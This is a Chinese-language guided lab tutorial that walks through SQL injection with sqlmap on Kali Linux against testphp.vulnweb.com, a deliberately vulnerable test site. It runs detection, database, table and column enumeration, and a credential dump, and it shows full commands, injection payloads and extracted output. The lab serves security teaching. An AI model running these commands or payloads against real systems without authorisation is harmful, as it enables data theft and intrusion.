使用 sqlmap 进行 Kali SQL 注入实验

LinuxBeginner
立即练习

介绍

在本实验中,你将学习如何使用 Kali Linux 以及功能强大的工具 sqlmap 来识别并利用 SQL 注入漏洞。通过一系列引导步骤,你将检测一个存在漏洞的 Web 应用程序,枚举其数据库结构,并提取敏感数据。所有活动均在受控的 LabEx 虚拟机环境中使用 Kali Linux 容器进行。本实验专为初学者设计,旨在提供自动化 Web 应用程序安全测试的实战经验。当你打开终端时,系统会自动连接到 Kali Linux 容器的 Shell,随时可以开始实验。

这是一个引导实验,提供了逐步指导以帮助你学习和练习。请仔细遵循说明完成每个步骤并获得实战经验。历史数据表明,这是一个中级难度的实验,完成率为 60%。它在学习者中获得了 97% 的好评率。

环境准备与安装 sqlmap

你的实验环境已经预先配置好,当你打开终端时,会自动进入 Kali Linux 容器的 Shell。你的首要任务是通过更新软件包列表并安装 sqlmap 来准备环境,这是本实验的核心工具。

sqlmap 是一款开源的渗透测试工具,它可以自动检测和利用 SQL 注入漏洞,并接管数据库服务器。

首先,更新软件包仓库索引。这可以确保你能获取到最新版本的软件。

apt update

接下来,使用以下命令安装 sqlmap-y 参数会自动确认安装。

apt install -y sqlmap

此过程可能需要片刻时间。安装完成后,通过检查版本号来验证 sqlmap 是否安装成功。

sqlmap --version

你应该能看到显示的 sqlmap 版本号,这表明该工具已准备就绪。

预期输出(版本号可能有所不同):

1.x.x#stable

随着 sqlmap 的安装和验证完成,你的环境现已准备好进入后续步骤,届时你将开始对目标 Web 应用程序进行 SQL 注入漏洞测试。

检测 SQL 注入漏洞

既然 sqlmap 已经安装完毕,你可以开始测试 Web 应用程序是否存在 SQL 注入漏洞。在本实验中,我们将使用一个公开的、专门为安全测试设计的漏洞网站。任何 SQL 注入攻击的第一步都是识别可注入的参数。

本实验的目标 URL 是 http://testphp.vulnweb.com/listproducts.php?cat=1。参数 cat=1 是一个潜在的注入入口点。我们将使用 sqlmap 自动测试该参数。

运行以下命令开始测试。-u 参数用于指定目标 URL。我们使用 --batch 参数让 sqlmap 在遇到任何交互式问题时自动使用默认回答,从而使过程非交互化且更快速。

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch

sqlmap 将对该 URL 进行一系列测试。它会分析响应内容,以判断 cat 参数是否可注入。由于它会尝试多种 SQL 注入技术,这个过程可能需要一到两分钟。

扫描完成后,查看输出结果。你应该能找到一段确认漏洞的信息。

预期输出(部分截取):

---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71786a6a71,(SELECT (ELT(8227=8227,1))),0x716a627071),8227)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: cat=1 AND (SELECT 7601 FROM (SELECT(SLEEP(5)))jbZM)

    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a6a71,0x4a484f686a79456477714b47526758645944704b4645674b784a76507569597a494170424a766642,0x716a627071),NULL,NULL,NULL,NULL-- -
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

输出结果证实了 cat 参数容易受到多种类型的 SQL 注入攻击:

  • 布尔型盲注(Boolean-based blind):利用真/假逻辑提取数据。
  • 报错注入(Error-based):利用数据库错误消息泄露信息。
  • 时间型盲注(Time-based blind):利用响应延迟来确认注入。
  • 联合查询注入(UNION query):合并多个 SELECT 语句的结果。

扫描还识别出后端数据库为 MySQL 5.6 或更高版本,运行在安装了 Nginx 和 PHP 的 Linux Ubuntu 系统上。这些详细的指纹识别信息将指导后续的漏洞利用步骤。

枚举数据库

在确认漏洞存在后,下一个逻辑步骤是发现服务器上存在哪些数据库。这个过程被称为数据库枚举。了解数据库名称对于导航服务器的数据结构至关重要。

你将使用 sqlmap--dbs 参数来列出所有可用的数据库。该命令会复用上一步中的会话数据,因此 sqlmap 不需要重新验证漏洞。

运行以下命令:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch

sqlmap 将利用漏洞查询数据库模式(Schema)并检索所有数据库名称列表。请注意,sqlmap 会从存储的会话中恢复,因此无需重新测试漏洞。

预期输出:

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71786a6a71,(SELECT (ELT(8227=8227,1))),0x716a627071),8227)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: cat=1 AND (SELECT 7601 FROM (SELECT(SLEEP(5)))jbZM)

    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a6a71,0x4a484f686a79456477714b47526758645944704b4645674b784a76507569597a494170424a766642,0x716a627071),NULL,NULL,NULL,NULL-- -
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema

[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

输出显示有两个数据库:acuartinformation_schema

  • information_schema 是 MySQL 中的标准数据库,存储了关于所有其他数据库的元数据。它很有用,但通常不是数据窃取的主要目标。
  • acuart 看起来是一个自定义的应用程序数据库,很可能包含我们正在寻找的有趣数据,如用户信息或应用数据。

既然你已经获得了应用程序数据库的名称,就可以继续检查其中的内容了。

枚举表和列

在识别出 acuart 数据库后,你的下一个目标是查看它包含哪些表。表是实际存储数据的地方。例如,名为 userscustomers 的表就是高价值目标。

要列出 acuart 数据库中的表,请使用 -D 参数指定数据库名称,并使用 --tables 参数请求表列表。

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables --batch

预期输出:

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching tables for database: 'acuart'
Database: acuart
[8 tables]
+-----------+
| artists   |
| carts     |
| categ     |
| featured  |
| guestbook |
| pictures  |
| products  |
| users     |
+-----------+

[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

输出结果显示了几个表,其中 users 表特别引人注目。让我们通过列出其列名来进一步调查 users 表。为此,添加 -T 参数指定表名,并使用 --columns 参数。

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns --batch

预期输出:

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching columns for table 'users' in database 'acuart'
Database: acuart
Table: users
[8 columns]
+---------+--------------+
| Column  | Type         |
+---------+--------------+
| name    | varchar(100) |
| address | mediumtext   |
| cart    | varchar(100) |
| cc      | varchar(100) |
| email   | varchar(100) |
| pass    | varchar(100) |
| phone   | varchar(100) |
| uname   | varchar(100) |
+---------+--------------+

[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

uname(用户名)和 pass(密码)是数据提取的首要目标。其他有趣的列还包括 emailcc(信用卡)和 phone 等客户信息。你现在已经掌握了导出这些敏感列内容所需的所有信息。

从表中导出数据

这是攻击的最后一步,你将从目标表中提取数据。根据之前的步骤,你已经知道了数据库(acuart)、表(users)以及感兴趣的列(uname, pass)。

要导出数据,你将使用 --dump 参数。你可以使用 -C 参数指定要导出的列,从而使过程更快、更具针对性。

运行以下命令从 users 表中导出用户名和密码:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass" --dump --batch

sqlmap 现在将从指定的列中提取数据并显示在终端中。它还会将数据保存到 CSV 文件中以便后续分析。

预期输出:

[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cat=1 AND 7125=7125
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching entries of column(s) 'pass,uname' for table 'users' in database 'acuart'
Database: acuart
Table: users
[1 entry]
+-------+------+
| uname | pass |
+-------+------+
| test  | test |
+-------+------+

[HH:MM:SS] [INFO] table 'acuart.users' dumped to CSV file '/root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'

输出显示了一个用户条目,用户名为 test,密码为 test。这次成功的数据提取展示了 SQL 注入漏洞的严重影响:

  • 数据泄露:敏感的用户凭据被暴露。
  • 未经授权的访问:这些凭据可被用于登录应用程序。
  • 隐私侵犯:个人信息遭到泄露。
  • 安全风险:该漏洞可能被进一步利用以访问其他数据或提升权限。

这完成了一个典型的 SQL 注入攻击序列:检测 → 枚举 → 利用 → 数据提取。

你还可以通过读取输出中提到的 CSV 文件来查看保存的数据。

cat /root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv

预期输出:

uname,pass
test,test

这确认了数据已被成功窃取并保存。

总结

在本实验中,你已经在 Kali Linux 环境中成功使用 sqlmap 完成了一次端到端的 SQL 注入攻击。你从安装 sqlmap 开始,然后使用它自动检测在线 Web 应用程序中的漏洞。遵循系统化的方法,你枚举了服务器的数据库,列出了目标数据库中的表,识别了敏感列,并最终导出了用户凭据。通过这次实战演练,你对如何利用自动化工具发现并利用这一最常见且最严重的 Web 安全缺陷有了深刻的理解。